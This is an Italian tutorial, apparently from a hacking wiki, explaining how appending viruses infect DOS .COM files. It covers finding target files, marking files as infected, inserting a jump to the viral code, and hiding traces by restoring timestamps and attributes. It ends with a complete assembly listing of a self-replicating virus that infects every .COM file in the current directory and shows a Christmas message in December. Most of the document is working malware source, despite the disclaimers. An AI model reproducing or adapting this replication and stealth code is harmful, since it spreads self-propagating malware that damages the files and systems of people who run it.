Zoom Icon

Funzionamento di un Virus

From UIC

Virus

Contents


Infos
Author: b0nu$
Email: bonus@numerica.it
Website:
Date: 01/01/2001 (dd/mm/yyyy)
Level: No brain needed
Language: Italian Image:Flag_Italian.gif
Comments:



Introduzione

Questa volta parleremo dei virus, quei simpatici programmini che ti ritrovi per caso sul tuo Hard Disk e che mandano in crisi il tuo PC.
Ora, tutto quello che spiegherò in questo tutorial non deve essere usato per scrivere nuovi e più potenti virus ma solo per imparare l'arte della programmazione in Assembler e anche per imparare a proteggersi da questo genere di attacchi.
Quindi non mi ritengo responsabile degli eventuali danni che apporterete al vostro computer o a quello dei vostri amici. Stateci attenti.
Vedremo solo virus in grado di infettare i file .COM anche se oggi non se ne trovano più tanti (di file COM!), in particolare tratterò gli appending viruses, cioè quelli che si agganciano alla fine del file senza distruggerlo.


Essay

Un virus è composto principalmente da due parti : il replicatore e la cosiddetta "bomb".
Il replicatore è quella parte del programma virus che permette a quest'ultimo di replicarsi in modo da infettare quanti più file possibile, la bomb è la parte più divertente ed è quella che svolge l'operazione per cui e stato designato il virus questa va dalla semplice visualizzazione di un messaggio alla distruzione della FAT area, dipende solo dalla fantasia del programmatore.

IL REPLICATORE

Il compito del replicatore come abbiamo già detto è quello di duplicarsi infettando altri files.
Come si può fare?
Consideriamo un pgm (.COM) esso può essere scomposto in 2 parti:

vittima.com
 P1    P2   


Anche il virus essendo un pgm può essere cosi diviso:

virus.com
 V1    V2   


I passi che il virus deve eseguire per replicarsi sono i seguenti:

Il virus salva P1 in fondo al file vittima.com e al suo posto ci copia V1, avremo la seguente situazione:

 V1    P2    P1 


Ora il virus copia la seconda parte (V2) in fondo al file:

 V1    P2     P1    V2   


Vi starete chiedendo che ca.. c'è dentro V1 e V2. Il compito di V1 è quello di passare il controllo a V2 e consiste in un salto, così quando eseguo il programma infetto la prima cosa che si fa è saltare al codice del virus contenuta in V2. Una volta eseguito V2 il controllo torna al programma. Semplice vero? Beh non proprio. Vediamo meglio quali sono i passi che deve svolgere il replicatore per infettare un file:

  1. Cerca il file da infettare
  2. Controlla se è già infetto
  3. Se si torna a 1
  4. Infettalo!!
  5. Torna a 1 oppure esci se ne hai abbastanza


Vediamole nel dettaglio:

PASSO 1 - Cerco il file da infettare

Si può decidere se cercare i file solo nella directory corrente oppure cambiare dir. per avere più possibilità di diffondersi. Cercare in piu' directory può rallentare l'esecuzione del programma al quale è attaccato e può quindi sollevare sospetti nell'utente, quindi state attenti. Per cercare un file devo ricorrere al DTA (Disk Transfer Area) che è una struttura del DOS (Andatela a vedere in qualche Tech. Ref.), il codice può essere una cosa del tipo:

mov ah,1Ah ;Prende il DTA e lo mette in
lea dx,[bp+OFFSET DTA] ;una variabile di nome DTA (!!)
int 21h
mov ah,4Eh ;cerca il primo file
mov cx,0007h ;Qualsiasi attributo
lea dx,[bp+OFFSET file_mask] ;DS:[DX] --> file_mask
int 21h
jc non_trovato ;non l'ha trovato

ancora: call controlla_infezione ;guarda se è gia infetto
;se non lo è lo infetta
mov ah,4Fh ;cerca il prox
int 21h
jnc ancora
non_trovato:

In questo frammento file_mask può essere '*.*' '*.EXE' o come useremo noi '*.COM'.

PASSO 2 - Controlla se è già infetto

Un metodo abbastanza semplice per sapere se un file è già infetto o meno è di memorizzare un ID durante l'infezione in modo da poterlo trovare la volta successiva.
Ad esempio:

mov ah,3Fh ;legge i primi 4 byte del file
mov cx,4 ;e li mette in buffer
lea dx,[bp+OFFSET buffer]
int 21h

cmp byte ptr [buffe+3],ID_Byte ;controllo il 4 byte
je gia_fatto ;se sono uguali è già infetto
infettalo:....

Un altro modo più complesso è quello di cerca una serie di istruzioni caratteristiche del virus.

PASSO 3 - Infettalo!!!

Questa è la parte piu' difficile e importante: il cuore del replicatore.
Una volta trovato il file da infettare si devono salvare i suoi attributi, la data, l'ora e la dimensione. Questi dati si trovano nel DTA come spiegato nella tabella seguente:

OffsetDimensioneSignificato
0h21 bytesRiservati (?)
15hbyteAttributi del file
16hwordOra
18hwordData
20hdwordDimensione
1Eh13 bytesNome(ASCIIZ) + Estensione


Come vedete nel DTA si trovano tutte le info necessarie, e per salvarle basta:

lea si,[bp+OFFSET DTA+15]
mov cx,9
lea di,[bp+OFFSET f_attr]
rep movsb

;variabili:
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?

Per poter infettare i file di systema, quelli nascosti ecc... dovete resettare gli attributi tramite l'int 21h,43h,01h.
Una volta fatto ciò potete aprire il file in lettura/scrittura ed effettuare l'infezione.

Dopo aver infettato il file (e lo vedremo nel dettaglio con un esempio) è importante cancellare le tracce dell'infezione ripristinando la data e l'ora e reimpostando gli attributi originali:

mov ax,57,01h
mov dx,WORD PTR [bp+f_date]
mov cx,WORD PTR [bp+f_time]
int 21h ;ripristina data e ora

mov ah,4301h
lea dx,[bp+OFFSET DTA + 1Eh]
xor ch,ch
mov cl,BYTE PTR [bp+f_attrib]
int 21h ;ripristina gli attributi

Al solito per capire meglio il tutto vi presento un semplice virus.

;virus.asm - b0nu$, 1997
;NB Non mi assumo responsabilità sui danni causati da un uso incorretto di
;questo pgm.
;Si attiva solo nel mese di Dicembre e visualizza gli auguri di Natale
code segment byte public
assume cs:code,ds:code,es:code,ss:code

org 100h ;file .COM

start:
db 0E9h,0,0 ;Salta al prox comando

virus:
call inizio ;Salva l'indirizzo nello stack

inizio:
pop bp ;Setta BP
sub bp,offset inizio
lea si,[bp+offset oldjump] ;Indirizzo vecchio
mov di,100h
;Salvo dove metterlo
push di ;cosi possiamo ritornare
movsb
movsb
movsb

lea dx,[bp+offset dta] ;Indirizzo del nuovo DTA

mov ah,1ah ;setta il DTA!!
int 21h

lea dx,[bp+offset comfilespec]
call findfirst ;cerca e infetta i file .com

call get_month ;Controlla in che mese siamo
cmp ax,000Ch ;E' 12?
jne skip ;Se no salta gli auguri
jmp short strt ;Si è Dicembre!

skip:
jmp dend ;Salta la routine

strt:
lea si,[bp + testo] ;SI punta al testo da scrivere
mov ah,0Eh ;Uso l'int 10h,0Eh per stampare

disp:
lodsb ;Carico il carattere
or al,al ;Se è 0 è finita
je dend
int 010h ;visualizzo il car
jmp short disp ;prendo il prox carattere

dend:
mov dx,80h ;Indirizzo del DTA originale
;Lo rimetto dov'era
mov ah,1ah ;setta il DTA!!
int 21h
retn ;Ritorno al pgm

findfirst:
mov ah,4eh ;trova il primo file
mov cx,7 ;con questi attributi

findnext:
int 21h ;Trovo il prox
jc quit ;Se non trovo niente smetto

call infection ;Altrimenti infetto

Findnext2:
mov ah,4fh ;Cerco il prox
jmp findnext ;Ciclo

quit:
ret ;stop!

infection:
mov ax,3d00h ;Apro il file in lettura
call open
mov cx,1ah
lea dx,[bp+offset buffer] ;salvo i dati
mov ah,3fh ;Leggo
int 21h
mov ah,3eh ;chiudo il file
int 21h

CheckCom:
mov bx,[bp+offset dta+1ah] ;Prelevo la dimensione
mov cx,word ptr [bp+buffer+1] ;prelevo l'indirizzo del salto
add cx,eof-virus+3 ;e ci sommo la lunghezza del virus
cmp bx,cx ;controllo dimensione
jz quitinfect
jmp infectcom

quitinfect:
ret

InfectCom:
sub bx,3 ;setto per il nuovo salto
lea di,[bp+oldjump]
lea si,[bp+buffer]
movsw
movsb
mov [bp+buffer],byte ptr 0e9h
mov word ptr [bp+buffer+1],bx ;salvo

mov cx,3 ;numero di byte da scrivere

jmp finishinfection

FinishInfection:
push cx ;salvo il numero di byte da scrivere
xor cx,cx ;azzero attributi
call attributes
mov al,2 ;apro il file in lett/scritt
call open
lea dx,[bp+buffer] ;dx punta ai dati
pop cx ;cx=numero byte
mov ah,40h ;scrivo
int 21h
jc closefile
mov al,02 ;sposto il puntatore in fondo
Call move_fp
mov cx,eof-virus ;dimensione virus
lea dx,[bp+offset virus] ;indirizzo di inizio
mov ah,40h ;scrivo il virus
int 21h

closefile:
mov ax,5701h ;ripristina ora e data
mov dx,word ptr [bp+dta+18h]
mov cx,word ptr [bp+dta+16h] ;sono ne DTA!!
int 21h
mov ah,3eh ;chiudo il file
int 21h
xor cx,cx
mov cl,byte ptr [bp+dta+15h] ;Prendo i vecchi attrib.
call attributes
retn

move_fp: ;muove il puntatore
xor cx,cx ;del file ad al
xor dx,dx
mov ah,42h
int 21h
retn

open:
lea dx,[bp+DTA+30] ;il nome è nel DTA
mov ah,3dh ;apre il file
int 21h
xchg ax,bx ;bx contine l'handle
ret

attributes:

lea dx,[bp+DTA+30]
mov ax,4301h ; setta gli attrib.
int 21h
ret


get_month proc near
mov ah,02Ah ;Preleva la data
int 021h
mov al,dh ;al=mese
cbw ;estende ad ax
ret
get_month endp

testo db 13,10,13,10,"Boun Natale a tutti !!!",13,10,0
comfilespec db '*.com',0 ;file da cercare
oldjump db 090h,0CDh,020h ;Vecchio jump
eof equ $ ;Segna la fine del file
buffer db 1Ah dup(?)
dta db 42 dup(?)

code ends
end start


Note Finali

Il programma mi sembra già abbastanza commentato quindi non spenderò altro tempo per rispiegarvi cose già dette.
Vi prego ancora una volta di stare attenti a giocare con questi programmi.

bonus@numerica.it


Disclaimer

I documenti qui pubblicati sono da considerarsi pubblici e liberamente distribuibili, a patto che se ne citi la fonte di provenienza. Tutti i documenti presenti su queste pagine sono stati scritti esclusivamente a scopo di ricerca, nessuna di queste analisi è stata fatta per fini commerciali, o dietro alcun tipo di compenso. I documenti pubblicati presentano delle analisi puramente teoriche della struttura di un programma, in nessun caso il software è stato realmente disassemblato o modificato; ogni corrispondenza presente tra i documenti pubblicati e le istruzioni del software oggetto dell'analisi, è da ritenersi puramente casuale. Tutti i documenti vengono inviati in forma anonima ed automaticamente pubblicati, i diritti di tali opere appartengono esclusivamente al firmatario del documento (se presente), in nessun caso il gestore di questo sito, o del server su cui risiede, può essere ritenuto responsabile dei contenuti qui presenti, oltretutto il gestore del sito non è in grado di risalire all'identità del mittente dei documenti. Tutti i documenti ed i file di questo sito non presentano alcun tipo di garanzia, pertanto ne è sconsigliata a tutti la lettura o l'esecuzione, lo staff non si assume alcuna responsabilità per quanto riguarda l'uso improprio di tali documenti e/o file, è doveroso aggiungere che ogni riferimento a fatti cose o persone è da considerarsi PURAMENTE casuale. Tutti coloro che potrebbero ritenersi moralmente offesi dai contenuti di queste pagine, sono tenuti ad uscire immediatamente da questo sito.

Vogliamo inoltre ricordare che il Reverse Engineering è uno strumento tecnologico di grande potenza ed importanza, senza di esso non sarebbe possibile creare antivirus, scoprire funzioni malevoli e non dichiarate all'interno di un programma di pubblico utilizzo. Non sarebbe possibile scoprire, in assenza di un sistema sicuro per il controllo dell'integrità, se il "tal" programma è realmente quello che l'utente ha scelto di installare ed eseguire, né sarebbe possibile continuare lo sviluppo di quei programmi (o l'utilizzo di quelle periferiche) ritenuti obsoleti e non più supportati dalle fonti ufficiali.